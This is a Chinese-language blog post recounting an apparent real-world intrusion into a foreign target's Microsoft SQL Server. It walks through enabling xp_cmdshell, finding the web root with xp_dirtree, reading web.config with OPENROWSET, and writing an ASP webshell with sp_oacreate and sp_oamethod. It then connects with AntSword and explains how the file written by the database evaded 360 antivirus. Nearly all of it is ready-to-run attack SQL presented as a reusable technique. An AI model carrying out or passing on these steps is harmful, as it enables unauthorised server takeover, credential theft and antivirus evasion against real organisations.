视频教程和更多福利在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
0x1 开篇
记录一次比较有思考意义的国外渗透过程,通过外围打点渗透,成功获取到目标数据库的账号和密码,连接数据库后上传 WebShell 实现控制,但在尝试上传后门木马文件时,发现目标系统中运行着杀软,使用 tasklist /SVC 确认杀软进程的存在,导致一旦上传恶意文件,系统会立即触发杀软扫描并进行拦截,上传木马的尝试失败。
0x2 初遇难题
这里外围打点,如何拿到数据库账号密码的,就不写了,主要是绕过杀软成功上传WebShell的思路。
开始:我拿到的是mssql数据库的账号密码,连接成功后,第一时间想到使用xp_cmdshell 执行系统命令,但是遗憾以失败告终! xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 首先查看数据库的权限:
Select IS_SRVROLEMEMBER('sysadmin');
为1说明是 SQL Server 的 sysadmin 角色成员。
开启xp_cmshell
EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行命令,显示报错,问gpt,说权限问题或存在杀软、防火墙,禁止调用系统命令。
exec master..xp_cmdshell 'whoami';
所以xp_cmdshell,这条路断了,想其他思路。
0x3 峰回路转
OLE自动化存储过程写入WebShell
在网上找了其他思路,最终确认一条”OLE自动化存储过程写入WebShell”。
开始操作,首先权限必须是DBA权限,我们已经是的,其次要知道网站的绝对路径。绝对路径怎么找,上网找到xp_dirtree。
xp_dirtree
xp_dirtree 是 SQL Server 中的一个扩展存储过程,用于返回指定目录下的所有文件夹和子目录的树状结构。它可以帮助查询指定路径下的目录结构,常用于获取目录中所有子文件夹的信息。
用法:
列出C盘下Temp目录所有文件EXEC xp_dirtree 'C:\Temp', 1, 1;列出C盘下Temp目录所有文件夹EXEC xp_dirtree 'C:\Temp', 1;
通过这种办法,就找到了目标系统的网站路径。
但是要是想看具体文件的内容,就需要其他方法。
•OPENROWSET 如果你的 SQL Server 启用了 Ad Hoc Distributed Queries 功能,可以用 OPENROWSET 直接读取文件:
•启用 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 1;RECONFIGURE;
•读取文件内容 假设文件路径为 C:\example\file.txt:
SELECT *FROM OPENROWSET(BULK 'd:\TwApi\Wuye\web.config',SINGLE_CLOB) AS FileContent;
作用:读取整个文件的内容为单个文本字段。
0x4 势如破竹
现在权限足够,网站绝对路径知道了,直接通过写webshell。
declare <span>@o</span> int, <span>@f</span> int, <span>@t</span> int, <span>@ret</span> intexec sp_oacreate 'scripting.filesystemobject', <span>@o</span> outexec sp_oamethod <span>@o,</span> 'createtextfile', <span>@f</span> out, 'd:\xxxx\muma.asp', 1exec <span>@ret</span> = sp_oamethod <span>@f,</span> 'writeline', NULL,'木马文件内容'
如果遇到虾米, SQL Server 默认禁用了 Ole Automation Procedures,这是为了安全原因防止未经授权的操作 。
启用Ole Automation Procedures
EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;
一句话,直接使用蚁剑连接,连接成功,但是上传后门文件,上传成功后下一秒就会被杀
但是存在杀软上传的木马第一时间都会被杀,通过 tasklist /SVC,发现是 360
0x5 复盘思考
在我 tasklist /SVC 后,发现该系统存在 360 杀软,上传任何木马后门都会被第一时间杀掉,证明杀软正常运行。为什么我通过数据库写入的WebShell一句话都没有被杀?而且连接成功了。我还修改不了从数据库生成的木马文件,最终解释权给到了权限问题。
权限差异
1.通过蚁剑正常上传的文件会带有当前用户的权限(普通用户),杀软可能有权限直接修改、隔离该文件。
2.数据库生成的文件可能继承了数据库服务的权限(通常是系统级别),这可能导致杀软无法直接操作或修改该文件,从而避免了被查杀。
3.一般杀软会监控文件上传操作(如 FTP 或 HTTP 请求中的文件流)或 Web 服务器目录下的新建文件,而 OLE 自动化生成的文件没有典型的网络传输过程,容易规避查杀 。
也是绕过杀软的一种思路